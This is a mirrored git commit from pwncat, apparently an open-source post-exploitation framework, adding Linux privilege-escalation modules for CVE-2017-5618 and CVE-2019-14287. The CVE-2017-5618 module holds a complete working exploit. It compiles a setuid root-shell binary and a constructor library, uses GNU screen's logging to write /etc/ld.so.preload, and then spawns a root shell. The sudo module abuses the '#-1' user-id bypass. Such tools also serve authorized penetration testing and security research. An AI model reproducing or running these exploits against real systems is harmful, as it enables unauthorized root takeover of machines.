mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Added CVE-2019-14287 and CVE-2017-5618 modules
This commit is contained in:
parent
2212be9751
commit
87c4f6ee77
@ -3,12 +3,12 @@ import shlex
|
||||
import functools
|
||||
import subprocess
|
||||
from io import TextIOWrapper
|
||||
from typing import Any, IO, Callable
|
||||
from typing import IO, Any, Callable
|
||||
|
||||
import pwncat.subprocess
|
||||
from pwncat.db import Fact
|
||||
from pwncat.gtfobins import Stream, Capability
|
||||
from pwncat.platform.linux import LinuxReader, LinuxWriter
|
||||
from pwncat.db import Fact
|
||||
|
||||
|
||||
def build_gtfo_ability(
|
||||
@ -200,7 +200,7 @@ class GTFOFileRead(FileReadAbility):
|
||||
else:
|
||||
description = ""
|
||||
|
||||
return f"file read as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}"
|
||||
return f"file read as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])"
|
||||
|
||||
|
||||
class GTFOFileWrite(FileWriteAbility):
|
||||
@ -279,7 +279,7 @@ class GTFOFileWrite(FileWriteAbility):
|
||||
else:
|
||||
description = ""
|
||||
|
||||
return f"file write as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}"
|
||||
return f"file write as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])"
|
||||
|
||||
|
||||
class GTFOExecute(ExecuteAbility):
|
||||
@ -351,4 +351,4 @@ class GTFOExecute(ExecuteAbility):
|
||||
else:
|
||||
description = ""
|
||||
|
||||
return f"shell as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}"
|
||||
return f"shell as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])"
|
||||
|
@ -79,13 +79,13 @@ class Module(EnumerateModule):
|
||||
|
||||
if perms & 0o4000:
|
||||
# if this is executable
|
||||
screen_paths.append(path)
|
||||
screen_paths.append((path, perms))
|
||||
|
||||
# Clean up the search
|
||||
proc.wait()
|
||||
|
||||
# Now, check each screen version to determine if it is vulnerable
|
||||
for screen_path in screen_paths:
|
||||
for screen_path, perms in screen_paths:
|
||||
version_output = session.platform.Popen(
|
||||
f"{screen_path} --version",
|
||||
shell=True,
|
173
pwncat/modules/linux/enumerate/software/screen/cve-2017-5618.py
Normal file
173
pwncat/modules/linux/enumerate/software/screen/cve-2017-5618.py
Normal file
@ -0,0 +1,173 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import textwrap
|
||||
import subprocess
|
||||
from io import StringIO
|
||||
|
||||
from pwncat.facts import ExecuteAbility
|
||||
from pwncat.modules import ModuleFailed
|
||||
from pwncat.platform import PlatformError
|
||||
from pwncat.subprocess import CalledProcessError
|
||||
from pwncat.platform.linux import Linux
|
||||
from pwncat.modules.enumerate import Schedule, EnumerateModule
|
||||
|
||||
|
||||
class CVE_2017_5618(ExecuteAbility):
|
||||
""" Exploit CVE-2017-5618 """
|
||||
|
||||
def __init__(self, source: str, screen):
|
||||
super().__init__(source=source, source_uid=None, uid=0)
|
||||
|
||||
self.screen = screen
|
||||
|
||||
def shell(self, session: "pwncat.manager.Session"):
|
||||
""" Execute a shell """
|
||||
|
||||
# Write the rootshell source code
|
||||
rootshell_source = textwrap.dedent(
|
||||
f"""
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
int main(void){{
|
||||
setreuid(0,0);
|
||||
setregid(0,0);
|
||||
const char* x[] = {{"/bin/sh","-p",NULL}};
|
||||
execvp(x[0], x);
|
||||
}}
|
||||
"""
|
||||
).lstrip()
|
||||
|
||||
with session.platform.tempfile(mode="w", directory="/tmp") as filp:
|
||||
rootshell = filp.name
|
||||
|
||||
# Compile the rootshell binary
|
||||
try:
|
||||
rootshell = session.platform.compile(
|
||||
[StringIO(rootshell_source)], output=rootshell
|
||||
)
|
||||
except PlatformError as exc:
|
||||
raise ModuleFailed(f"compilation failed: {exc}") from exc
|
||||
|
||||
# Write the library
|
||||
libhack_source = textwrap.dedent(
|
||||
f"""
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
__attribute__ ((__constructor__))
|
||||
void dropshell(void){{
|
||||
chown("{rootshell}", 0, 0);
|
||||
chmod("{rootshell}", 04755);
|
||||
unlink("/etc/ld.so.preload");
|
||||
}}
|
||||
"""
|
||||
).lstrip()
|
||||
|
||||
# Compile libhack
|
||||
try:
|
||||
libhack_so = session.platform.compile(
|
||||
[StringIO(libhack_source)],
|
||||
cflags=["-fPIC", "-shared"],
|
||||
ldflags=["-ldl"],
|
||||
)
|
||||
except PlatformError as exc:
|
||||
session.platform.Path(rootshell).unlink()
|
||||
raise ModuleFailed("compilation failed: {exc}") from exc
|
||||
|
||||
# Switch to /etc but save our previous directory so we can return to it
|
||||
old_cwd = session.platform.chdir("/etc")
|
||||
|
||||
# Run screen with our library, saving the umask before changing it
|
||||
start_umask = session.platform.umask()
|
||||
session.platform.umask(0o000)
|
||||
|
||||
# Run screen, loading our library and causing our rootshell to be SUID
|
||||
session.platform.run(
|
||||
[
|
||||
self.screen.path,
|
||||
"-D",
|
||||
"-m",
|
||||
"-L",
|
||||
"ld.so.preload",
|
||||
"echo",
|
||||
"-ne",
|
||||
libhack_so,
|
||||
],
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
check=True,
|
||||
)
|
||||
|
||||
# Trigger the exploit
|
||||
try:
|
||||
session.platform.run(
|
||||
[self.screen.path, "-ls"],
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
check=True,
|
||||
)
|
||||
except CalledProcessError:
|
||||
# This normally has a non-zero returncode
|
||||
pass
|
||||
|
||||
# We no longer need the shared object
|
||||
session.platform.Path(libhack_so).unlink()
|
||||
|
||||
# Reset umask to the saved value
|
||||
session.platform.umask(start_umask)
|
||||
|
||||
# Hop back to the original directory
|
||||
try:
|
||||
session.platform.chdir(old_cwd)
|
||||
except (FileNotFoundError, NotADirectoryError, PermissionError):
|
||||
# Maybe we don't have permissions to go back?
|
||||
pass
|
||||
|
||||
# Check if the file is owned by root
|
||||
if session.platform.Path(rootshell).owner() != "root":
|
||||
# Ensure the files are removed
|
||||
session.platform.Path(rootshell).unlink()
|
||||
|
||||
raise ModuleFailed("failed to create root shell")
|
||||
|
||||
# Start the root shell!
|
||||
proc = session.platform.Popen(
|
||||
[rootshell],
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
|
||||
# Detach. This new shell becomes our primary shell
|
||||
proc.detach()
|
||||
|
||||
if session.platform.refresh_uid() != 0:
|
||||
session.platform.channel.send(b"exit\n")
|
||||
raise ModuleFailed("failed to get root shell (is nosuid set on /tmp?)")
|
||||
|
||||
# Remove the rootshell
|
||||
session.platform.Path(rootshell).unlink()
|
||||
|
||||
return lambda s: s.platform.channel.send(b"exit\n")
|
||||
|
||||
def title(self, session):
|
||||
""" Grab the description for this fact """
|
||||
|
||||
return f"[cyan]{self.screen.path}[/cyan] vulnerable to [red]CVE-2017-5618[/red]"
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
""" Identify systems vulnerable to CVE-2017-5618 """
|
||||
|
||||
PROVIDES = ["ability.execute"]
|
||||
PLATFORM = [Linux]
|
||||
SCHEDULE = Schedule.PER_USER
|
||||
|
||||
def enumerate(self, session: "pwncat.manager.Session"):
|
||||
""" check for vulnerable screen versions """
|
||||
|
||||
for screen in session.run("enumerate", types=["software.screen.version"]):
|
||||
if not screen.vulnerable or (screen.perms & 0o4000) == 0:
|
||||
continue
|
||||
|
||||
yield CVE_2017_5618(self.name, screen)
|
@ -0,0 +1,76 @@
|
||||
#!/usr/bin/env python3
|
||||
from packaging import version
|
||||
from pwncat.facts import build_gtfo_ability
|
||||
from pwncat.modules import ModuleFailed
|
||||
from pwncat.gtfobins import Capability
|
||||
from pwncat.platform.linux import Linux
|
||||
from pwncat.modules.enumerate import Schedule, EnumerateModule
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""Identify systems vulnerable to CVE-2019-14287: Sudo Bug
|
||||
Allows Restricted Users to Run Commands as Root."""
|
||||
|
||||
PROVIDES = ["ability.execute", "ability.file.write", "ability.file.read"]
|
||||
PLATFORM = [Linux]
|
||||
SCHEDULE = Schedule.PER_USER
|
||||
|
||||
def enumerate(self, session: "pwncat.manager.Session"):
|
||||
""" Check for vulnerability """
|
||||
|
||||
try:
|
||||
# Utilize the version enumeration to grab sudo version
|
||||
sudo_info = session.run("enumerate", types="software.sudo.version")[0]
|
||||
except IndexError as exc:
|
||||
raise ModuleFailed("no sudo version found") from exc
|
||||
|
||||
# This vulnerability was patched in 1.8.28
|
||||
if version.parse(sudo_info.version) >= version.parse("1.8.28"):
|
||||
return
|
||||
|
||||
# Grab the current user/group
|
||||
current_user = session.current_user()
|
||||
current_group = session.find_group(gid=current_user.gid)
|
||||
|
||||
# Iterate over all sudo rules
|
||||
for rule in session.run("enumerate", types=["software.sudo.rule"]):
|
||||
# We only care about command rules
|
||||
if not rule.matched:
|
||||
continue
|
||||
|
||||
# User doesn't match us and we don't specify a group in the rule
|
||||
if (
|
||||
rule.user != "ALL"
|
||||
and rule.user != current_user.name
|
||||
and rule.group is None
|
||||
):
|
||||
continue
|
||||
|
||||
# Ensure we match one of the groups
|
||||
if rule.group is not None:
|
||||
for group in session.iter_groups(members=[current_user.id]):
|
||||
if rule.group == group.name:
|
||||
break
|
||||
else:
|
||||
if rule.group != current_group.name:
|
||||
continue
|
||||
|
||||
# Grab a list of user names which we can run as
|
||||
userlist = [x.strip() for x in rule.runas_user.split(",")]
|
||||
|
||||
# This exploits a specific non-standard configuration
|
||||
# with these two runas users listed.
|
||||
if "ALL" in userlist and "!root" in userlist:
|
||||
for command in rule.commands:
|
||||
for method in session.platform.gtfo.iter_sudo(
|
||||
command, caps=Capability.ALL
|
||||
):
|
||||
# Build a generic GTFO bins capability
|
||||
yield build_gtfo_ability(
|
||||
source=self.name,
|
||||
uid=0,
|
||||
method=method,
|
||||
source_uid=current_user.id,
|
||||
user="\\#-1",
|
||||
spec=command,
|
||||
)
|
@ -145,7 +145,7 @@ class Path:
|
||||
"""Returns the name of the group owning the file. KeyError is raised
|
||||
if the file's GID isn't found in the system database."""
|
||||
|
||||
return self._target.session.find_group(id=self.stat().st_gid).name
|
||||
return self._target.session.find_group(gid=self.stat().st_gid).name
|
||||
|
||||
def is_dir(self) -> bool:
|
||||
"""Returns True if the path points to a directory (or a symbolic link
|
||||
@ -278,7 +278,7 @@ class Path:
|
||||
"""Return the name of the user owning the file. KeyError is raised if
|
||||
the file's uid is not found in the System database"""
|
||||
|
||||
return self._target.session.find_user(id=self.stat().st_uid).name
|
||||
return self._target.session.find_user(uid=self.stat().st_uid).name
|
||||
|
||||
def read_bytes(self) -> bytes:
|
||||
"""Return the binary contents of the pointed-to file as a bytes object"""
|
||||
|
Loading…
Reference in New Issue
Block a user